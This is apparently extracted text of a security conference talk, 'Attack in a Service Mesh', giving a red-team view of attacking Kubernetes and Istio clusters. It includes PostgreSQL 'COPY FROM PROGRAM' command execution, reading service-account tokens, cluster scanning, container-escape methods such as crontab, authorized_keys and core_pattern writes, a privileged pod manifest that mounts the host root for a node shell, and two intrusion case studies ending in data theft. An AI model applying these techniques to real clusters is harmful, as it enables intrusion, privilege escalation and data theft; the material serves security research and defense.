1、姓名姓名Neargle 腾讯蓝军高级研究员Attack in a Service MeshAttack in a Service MeshAboutAboutsecurity/force/About NeargleAbout Neargle腾讯蓝军腾讯蓝军 高高级级安全研究安全研究员员腾讯腾讯安全平台部安全平台部 安全工程安全工程师师 expectation would be,90%of Kubernetes users use Istio two years from now.You could argue the value you get from Istio is larger tha

2、n Kubernetes.Google Cloud CTO Urs HlzleTHANKSTHANKS几十万几十万级级 K8S 容器母机容器母机节节点点(截止到截止到12月初月初统计统计 kubelet 节节点数量点数量)内外部云原生内外部云原生产产品：品：TKE 容器服务蓝盾 DevOpsTKE Mesh 服务网格tRPC 服务治理网关/边缘/检测/观察/日志/名字服务等最复最复杂杂的多租的多租户户容器集群容器集群：.安全服务容器运行时流量监控红蓝对抗安全研究 等云原生容器集群安全演习的目标和模型演习之前，确认目标演习之前，确认目标AD域控制器（Domain Controller）.Agen

3、t Master、发布平台、自动化运维管控、跳板机、堡垒机.红队红队眼中的眼中的 Kubernetes APIServer:容器编排K8S总控组件pods,services,secrets,serviceaccounts,bindings,componentstatuses,configmaps,endpoints,events,limitranges,namespaces,nodes,persistentvolumeclaims,persistentvolumes,podtemplates,replicationcontrollers,resourcequotas.可控以上所有 k8s 资源

4、可获取几乎所有容器的交互式 shell利用一定技巧可获取所有容器母机的交互式 shell一般模型一般模型Node A其他节点入口Pod其他Pod入口容器其他容器Service BSKubernetes APIServer相邻Pod相邻容器ETCD/MasterNode/DashBorad/Image Registry.1)Public Network to container2)Container to other containers3)Container to current host(escape)4)Container to other nodes5)Container to apis

5、erver6)Node host to apiserver7)Node to master nodeExploit a RCE in container is hardExploit a RCE in container is hard1.任意文件代码写入的利用难度提升.No running/usr/sbin/cron-fNo running/usr/sbin/sshd-D.2.获取的Shell可能在生命周期受限的 serverless 环境.3.集群内的网络控制更加容易和智能(networkpolicy/service mesh)出网需求减少的生产环境，出网率 4/1加剧反序列化的利用难度，

6、多个gadget失效服务级、细粒度、多维度的网络管控和治理4.Bind shell、bind proxy、port knocking 等技巧不再有效But in the containerBut in the containerpostgres=#COPY cmd_exec FROM PROGRAM ps auxf;postgres=#COPY cmd_exec FROM PROGRAM cat/proc/1/cgroup;postgres=#SELECT*FROM cmd_exec;cmd_output-USER PID%CPU%MEM VSZ RSS TTY STAT START TIME

7、 COMMANDpostgres 1 0.0 0.1 288240 18004?Ss 10:42 0:00 postgrespostgres 52 0.0 0.0 288240 3588?Ss 10:42 0:00 postgres:checkpointer processpostgres 53 0.0 0.0 288240 3332?Ss 10:42 0:00 postgres:writer processpostgres 54 0.0 0.0 288240 6240?Ss 10:42 0:00 postgres:wal writer processpostgres 55 0.0 0.0 2

8、88652 2928?Ss 10:42 0:00 postgres:autovacuum launcher processpostgres 56 0.0 0.0 143164 2016?Ss 10:42 0:00 postgres:stats collector processpostgres 707 0.0 0.0 289264 6804?Ss 15:26 0:00 postgres:postgres postgres 127.0.0.1(48187)COPYpostgres 708 0.0 0.0 4268 624?S 15:26 0:00 _ sh-c ps auxpostgres 70

9、9 0.0 0.0 38296 1628?R 15:26 0:00 _ ps auxf12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa11:pids:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a57

10、0c6d33a0aa9:cpuset:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa.(23 rows)容器进程一个、等资源受限的普通进程In KubernetesIn Kubernetes#env|grep KUBEKUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_ADDR=10.96.0.1KUBERNETES_PORT=tcp

11、:/10.96.0.1:443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP=tcp:/10.96.0.1:443KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_HOST=10.96.0.1#ls-l/run/secrets/kubernetes.io/serviceaccounttotal 0lrwxrwxrwx 1 root root 13 Sep 15 10:42 ca.crt-.data/ca.crtlrwxrwx

12、rwx 1 root root 16 Sep 15 10:42 namespace-.data/namespacelrwxrwxrwx 1 root root 12 Sep 15 10:42 token-.data/token#cat/etc/mtab|grep kubetmpfs/run/secrets/kubernetes.io/serviceaccount tmpfs ro,relatime 0 0ps auxls-l.dockerenvcapsh-printenv|grep KUBEcat/proc/1/cgroupls-l/run/secrets/kubernetes.io/moun

13、tdf-hcat/etc/resolv.confand so on.K8S Default network access?K8S Default network access?Node ANode BPod A1Pod B1Container ACContainer BCService ASService BSPublic NetworkK8S Default IP distribution rules?K8S Default IP distribution rules?Node ANode BPod A1Pod B1Container ACContainer BCService ASServ

14、ice BSPublic NetworkpodSubnet/-cluster-cidrNAMESPACE IPdefault 172.17.0.12default 172.17.0.3 default 172.17.0.4 default 172.17.0.5 Except kube-systemserviceSubnet/-service-cluster-ip-rang=10.96.0.0/1210.102.14.42,10.104.112.52.Scan in istio?Scan in istio?masscan 172.17.0.21-p1-1000-rate=500-oX test.

15、xml1000 ports ALL OPENnmap-sV-p1-1000-T4 172.17.0.211000 ports ALL Filtered探测只有两个端口开放的容器对外扫描也受影响，但情况不一Scan in istio.Scan in istio.Node ANode BPod A1Pod B1Container ACContainer BCService ASService BSistio/proxy APistio/proxy BP内端口扫描最佳实践 使用探测主机存活，编写应用层 七层 判断逻辑判断端口开放和服务指纹nmap_rename-p 17-iL all_ip_in_k

16、8s.txt-sO-Pn(no work for service)/goistio_scan-iL nmap.outputService&Default DNS RulesService&Default DNS Ruleskubernetes.default.svc.cluster.localforce.tencent.svc.cluster.localServiceNameNameSpaceCluster Domain-cluster-domainDefault Service Default Service name:kubernetes:443name:kubernetes:443-ku

17、bernetes.default-kubernetes.default.svc-kubernetes-kubernetes.default.svc.cluster.local#curl-ik https:/kubernetes.default.svc:443/api/v1/namespaces/default/podsHTTP/2 403content-type:application/jsonx-content-type-options:nosniffcontent-length:310 kind:Status,apiVersion:v1,metadata:,details:kind:pod

18、s ,code:403 apiVersion:v1kind:Servicemetadata:name:kubernetes namespace:default resourceVersion:158 selfLink:/api/v1/namespaces/default/services/kubernetes uid:70527494-8a2f-4909-8a96-dd91997f4925spec:clusterIP:10.96.0.1 ports:-name:https port:443 protocol:TCP targetPort:8443 sessionAffinity:None ty

19、pe:ClusterIPstatus:loadBalancer:Default Service Default Service name:kubernetes:443name:kubernetes:443.spec:clusterIP:10.96.0.1 ports:-name:https port:443 protocol:TCP targetPort:8443 sessionAffinity:None type:ClusterIPstatus:loadBalancer:.curl-ik https:/kubernetes.default:443/curl-ik https:/apiserv

20、er:8443/Just get the certificate or token to endingTry serviceaccount/run/secrets/kubernetes.io/serviceaccountI am in“Default”namespapcenslookup kubernetesnslookup kubernetes.defaultPort scan is not so usefulservice accountdefault servicekubectl get pods-o wideNAMESPACE NAME READY STATUS RESTARTS AG

21、E IP .default neargle-v1-79c697d759-cqk2g 2/2 Running 0 95m 172.17.0.12 .Where(Where(Pod/Namespace/ClusterPod/Namespace/Cluster)am i?)am i?cat/etc/resolv.confnameserver 10.96.0.10search default.svc.cluster.local svc.cluster.local cluster.localoptions ndots:5hostnametencent-force-pentest-for-all-test

22、-not-hostnetworknslookup testdomainServer:10.96.0.10Address:10.96.0.10:53*find testdomain.cluster.local:NXDOMAIN*find testdomain.default.svc.cluster.local:NXDOMAINWhere am i(in istio)?Where am i(in istio)?$curl-sv *Trying 45.xx.49:80.*Connected to (45.xx.49)port 80(#0)GET/HTTP/1.1 Host: User-Agent:c

23、url/7.69.1 Accept:*/*HTTP/1.1 200 OK content-type:text/plain date:Tue,13 Oct 2020 06:39:36 GMT server:envoy content-length:12 x-envoy-upstream-service-time:117Where am i(in istio)?/istio in ZoomeyeWhere am i(in istio)?/istio in Zoomeyex-forwarded-proto:httpx-request-id:8df5ed42-e10d-9af8-8eaa-5d3151

24、8260dex-envoy-peer-metadata:CiIKDkFQUF9DT05UQUlORVJT.w=x-envoy-peer-metadata-id:sidecar172.17.0.18tencent-force-pentest-for-all-test-not-hostnetwork.defaultdefault.svc.cluster.localAPP_CONTAINERS:test-containerCLUSTER_ID:KubernetesISTIO_VERSION:1.8.1LABELS:istio.io/rev:default security.istio.io/tlsM

25、ode:istio service.istio.io/canonical-name:tencent-force-pentest-for-all-test-not-hostnetwork-alpine service.istio.io/canonical-revision:latestMeshID:cluster.localPODNAME:tencent-force-pentest-for-all-test-not-hostnetworkNAMESPACE:defaultISTIO_META_OWNER:kubernetes:/apis/v1/namespaces/default/pods/te

26、ncent-force-pentest-for-all-test-not-hostnetworkPLATFORM_METADATA:tencent-force-pentest-for-all-test-not-hostnetworkWhere am i(in istio)?Where am i(in istio)?Where am i(in istio)?Where am i(in istio)?HTTPTCPLabels 标签标签信息信息NameSpace/PODNAME/IP/ContainerNames ServiceAccountTLSServerCertChain/TLSServer

27、Key/TLSServerRootCert/TLSClientCertChain/TLSClientKey.PodPortsUnprivilegedPod What to attack(in istio)?What to attack(in istio)?API GateWayLabel PrivilegedOther ServiceAcount.Servicein NodeUnauth API Service in K8SWhat to attack：Label PrivilegedWhat to attack：Label PrivilegedLabel Privileged(+podnam

28、e/ContainerNames.):存在特殊存在特殊 Host*、securityContext、volume配置，可配置，可导导致容器逃逸的致容器逃逸的PODContainer Escaping:privileged 容器挂载宿主机根目录/，/etc/，/proc 等目录到容器内部利用暴露的 docker.sock、deamon api、kube-apiserver、kubelet api、etcd.利用 sys_admin（包含 sys_ptrace）等docker,runc,containerd 等组件历史逃逸漏洞linux 内核提权漏洞利用 node agent 的漏洞对对抗：抗：不

29、要将逃逸的行为当成写入宿主机特定文件(/etc/cron*,/root/.ssh/authorized_keys.)的行为，应该根据目标选择更趋近与业务行为的手法。以目以目标标“获获取宿主机上的配置文件取宿主机上的配置文件”为为例，手法的例，手法的隐隐蔽性上蔽性上(注：部分典型手法注：部分典型手法举举例，不同的例，不同的EDR情况不同情况不同)：mount/ect+write crontab mount/root/.ssh+write authorized_keys old CVE/vulnerability exploit write cgroup notify_on_release wri

30、te procfs core_pattern volumeMounts:/+chroot remount and rewrite cgroup apiserver4.apiserver-(http)-kubelet rest api5.kubelet-(http/docker.sock)-docker apikubelet*:10250(10255 read-only)dockerd*:2375K8S dashboard*:30000kubectl proxy-accept-hosts=.*$-address=0.0.0.0*:8001kube-apiserver*:8080/6443ETCD

31、*:2379API GateWay：What to attack?API GateWay：What to attack?Cloud-NativeAPI GateWayflexibilitydynamicremote config开源云原生开源云原生API网关网关产产品品TOP列列举举：-Kong Admin API unauthentication-APISIXs Admin API default access-Tyk default secret-Goku-api-gateway default/weak password-.收集、掌控和劫持云原生集群所管理的南北流量，以此摸清和控制集群收

32、集、掌控和劫持云原生集群所管理的南北流量，以此摸清和控制集群对对外外/对对内能力，部分内能力，部分场场景可以景可以获获取取API网关的网关的Shell。对对攻防更重要的是，攻防更重要的是，获获取集群的取集群的 API 网关可以打通网网关可以打通网络络隔离的限制，隔离的限制，获获得入网和出网的口子。得入网和出网的口子。Service in Node：What to attack(in istio)?Service in Node：What to attack(in istio)?云原生场景下的权限维持与安全策略对抗技巧云原生场景下的权限维持与安全策略对抗技巧受控恶意容器静态恶意文件对抗恶意镜像植

33、入+单体大文件木马持久化restartPolicy:Always云镜像仓库/Image Registry穿越网络限制传输文件流量层策略对抗SSL加密/SideCar 流量逻辑解耦 hostPID:true hostIPC:true hostNetwork:true containers:-name:trpc image:alpine securityContext:privileged:true capabilities:add:-SYS_ADMIN command:/bin/sh,-c,tail-f/dev/null通过 APIServer 获取 NODE 的 SHELL通过 APIServ

34、er 获取 NODE 的 SHELLvolumeMounts:-name:dev mountPath:/host/dev -name:proc mountPath:/host/proc -name:sys mountPath:/host/sys -name:rootfs mountPath:/grpc_sandbox volumes:-name:proc hostPath:path:/proc -name:dev hostPath:path:/dev -name:sys hostPath:path:/sys -name:rootfs hostPath:path:/获获取取 Node 的的 Sh

35、ell1)实际场景只需选择所需的权限进行创建2)nodeSelector:kubernetes.io/hostname:9.208.3.47 3)利用 kubectl websocket 的 shell 再 chroot 即可获取 node 节点无限制的 shell.红队攻击案例列举RealWorld CASE 1（关键路径）RealWorld CASE 1（关键路径）目目标标概述：从外网通概述：从外网通过过服服务务持持续续渗透，渗透，获获取内网云原生集群控制取内网云原生集群控制权权限，并成限，并成为为企企业业HR系系统统的管理的管理员员。绕过 VPN+外网零信任网关双层外网防护(网络限制能力

36、从网络层迁移到应用层导致的应用代理实现风险)内网办公系统的命令注入基于K8S自建无服务云函数容器引擎sys_admin 容器访问母机文件K8S节点自建 docker.sock proxy websocket 代理 agent(webbash 调试需求)Agent 反编译docker container 短 ID 猜解任意容器控制关键LOG容器逃逸strace 获取 nginx 内的管理员 cookieservice 未鉴权外网容器其他容器节点权限RealWorld CASE 2（关键路径）RealWorld CASE 2（关键路径）目目标标概述：从外网通概述：从外网通过过服服务务持持续续渗透，渗透，获获取内网云原生集群控制取内网云原生集群控制权权限，并登限，并登录录到核心加密数据到核心加密数据库进库进行数据窃取。行数据窃取。复杂隐蔽的业务集群七层代理进入集群内部：外网域外网域/pass/内网内网URL服务网格内的信息收集ES LOG 信息泄露获取云 API KEY外网容器集群权限LOG+Flink Dashborad RCEAPI KEY 修改托管模式下的 APISERVER 的安全访问限制，并开放外网，获取 kubeconfig无监控无限制/流量加密的任意容器交互式 Shell上传纯 BIN 单文件 SQL 工具集控制关键数据库THANKS